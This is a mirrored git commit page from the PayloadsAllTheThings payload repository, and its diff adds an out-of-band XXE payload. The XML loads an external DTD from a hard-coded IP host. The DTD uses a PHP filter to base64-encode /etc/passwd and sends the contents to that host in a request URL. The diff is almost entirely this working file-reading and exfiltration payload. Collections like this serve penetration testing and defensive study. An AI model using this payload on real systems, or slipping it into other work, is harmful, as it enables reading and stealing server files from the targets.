mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2025-02-22 14:43:45 +00:00
XXE via DTD and PHP Filter
This commit is contained in:
parent
43f8367df0
commit
240e46e1e1
@ -80,6 +80,21 @@ File stored on http://publicServer.com/parameterEntity_oob.dtd
|
|||||||
%all;
|
%all;
|
||||||
```
|
```
|
||||||
|
|
||||||
|
XXE OOB with DTD and PHP filter
|
||||||
|
```
|
||||||
|
<?xml version="1.0" ?>
|
||||||
|
<!DOCTYPE r [
|
||||||
|
<!ELEMENT r ANY >
|
||||||
|
<!ENTITY % sp SYSTEM "http://92.222.81.2/dtd.xml">
|
||||||
|
%sp;
|
||||||
|
%param1;
|
||||||
|
]>
|
||||||
|
<r>&exfil;</r>
|
||||||
|
|
||||||
|
File stored on http://92.222.81.2/dtd.xml
|
||||||
|
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
|
||||||
|
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://92.222.81.2/dtd.xml?%data;'>">
|
||||||
|
```
|
||||||
|
|
||||||
## Thanks to
|
## Thanks to
|
||||||
* https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
|
* https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
|
||||||
|
Loading…
Reference in New Issue
Block a user